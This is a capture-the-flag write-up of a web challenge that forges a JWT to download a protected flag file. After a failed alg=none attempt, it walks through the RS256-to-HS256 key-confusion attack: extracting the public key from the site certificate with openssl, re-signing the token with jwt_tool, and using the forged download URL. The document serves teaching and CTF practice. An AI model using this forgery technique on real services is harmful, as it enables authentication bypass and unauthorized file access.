CTF: https://ctftime.org/event/888
When connecting to the challenge, we get a SSL error.
When checking out the other web challenges only this challenge use SSL. I took a note of this.
This is what the challenge looks like after telling chrome it’s okay to connect.
In the source code we also see a few other files that are interesting.
<!--
<tr>
<td>flag.txt</td>
<td>4 Bytes</td>
<td class="download-col">
<button type="button" class="btn btn-light" disabled="disabled">EXPIRED</button>
</td>
</tr>
-->
The download function looks like this
<a href="download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.dNHioi9RiEpyUtcOD6G5CBXU0EUi2HTl05eOvkFecmyoFyn5CWq5ExbwYLX8QE85qBaskOT-mtq3_XWwTxmGIKhPg8eOVuqqhU7nCg2eEdKwp-mjaPBnmDfBinvcfXEhItLi8T1hmMVgxaWSxQ1ZZKu4t-SFbuHOgesE6s9oBBiFMX92HSJbE3PnpAp6y6CYsI4hXBdzfAXERfmV0lV8-SRtKgKFwVTI-zmBlEGSReszw-NoDgGfFGF9e1tKjVb8sE3o5IYv5M5AmDjs8qWe5JO39IQeTJqn4r6Db6zPWjHKlheqFLrfytWQF9MvjDRU5CIu3tIRWYnylnVUA3Slrw" title="Download File" target="_blank" class="btn btn-primary" role="button">Download</a>
It looks like base64 json since the string starts with ey
.
Decoding it gave us some clues that it’s JWT.
Using https://jwt.io/ we can decode the JWT data which consists of:
- Payload
- Header
- Signature
From the data we see that the algoritm is RS256
and the payload consists of a filename that is md5.
md5(future.jpg) = 7b421df11a53e33d929ef4c025f79f83
Goal
Our goal is to bypass the signature or forge our own signature so we can download flag.txt
JWT exploit 1
CVE-2015-2951 is basically a vulnerability in the JWT that allows you to change the algorithm to None and then remove the signature. More information here: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token#jwt-signature—none-algorithm.
TL;DR This will allow you to forge any payload you want.
I tried this bypass but it didn’t work.
GET /download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJmaWxlbmFtZSI6IjhhNTNlMGE4NzMyMGNiMGMxYzcyMzk3MWI2Y2FiMWM5In0. HTTP/1.1
Host: gamebox3.reply.it:20443
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Invalid Token
JWT exploit 2
If you don’t know how this bypass work, you can read more here: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token#jwt-signature—rs256-to-hs256.
For the second bypass I used this tool: https://github.com/ticarpi/jwt_tool.
Remember from earlier when we had a SSL error. We can download the certificate from the challenge and export it to a file with chrome.
I exported the certificate as cert.pem
.
From the certificate we can extract the public key with this command
$ openssl x509 -pubkey -noout -in cert.pem > pubkey.pem
I will now use the jwt_tool
and the bypass "public key bypass in RSA mode"
.
$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.EaLNFE2h93_bBy_1LtyMiTrdXMwxs75yxS07_LnT_xs
,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
----''----''----''----''----''----''----''----''----''----'
,--.,--. ,--.,--------.,--------. ,--.
| || | | |'--. .--''--. .--',---. ,---. | |
,--. | || |.'.| | | | | | | .-. || .-. || |
| '-' /| ,'. | | |,----.| | ' '-' '' '-' '| |
`-----' '--' '--' `--''----'`--' `---' `---' `--'
,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
'----''----''----''----''----''----''----''----''----''----'
Token header values:
[+] typ = JWT
[+] alg = HS256
Token payload values:
[+] filename = 7b421df11a53e33d929ef4c025f79f83
######################################################
# Options: #
# 1: Check CVE-2015-2951 - alg=None vulnerability #
# 2: Check for Public Key bypass in RSA mode #
# 3: Check signature against a key #
# 4: Check signature against a key file ("kid") #
# 5: Crack signature with supplied dictionary file #
# 6: Tamper with payload data (key required to sign) #
# 0: Quit #
######################################################
Please make a selection (1-6)
> 6
Token header values:
[1] typ = JWT
[2] alg = HS256
[3] *ADD A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] filename = 7b421df11a53e33d929ef4c025f79f83
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 1
Current value of filename is: 7b421df11a53e33d929ef4c025f79f83
Please enter new value and hit ENTER
> 159df48875627e2f7f66dae584c5e3a5
[1] filename = 159df48875627e2f7f66dae584c5e3a5
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 3
Please enter the Public Key filename:
> pubkey.pem
eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0
Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0.gkPHJYEXF0WEpvwzI4FxDkFGoG6dpBvVMhq6ibsl28w
Summary
- Change algorithm from
RS256
toHS256
- Set filename to
md5(flag.txt) = 159df48875627e2f7f66dae584c5e3a5
- Sign it with the public key
- https://gamebox3.reply.it:20443/download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0.gkPHJYEXF0WEpvwzI4FxDkFGoG6dpBvVMhq6ibsl28w
- Go to that link and it will download the flag:
{FLG:n0_b4ckup_n0_m3rcy}
.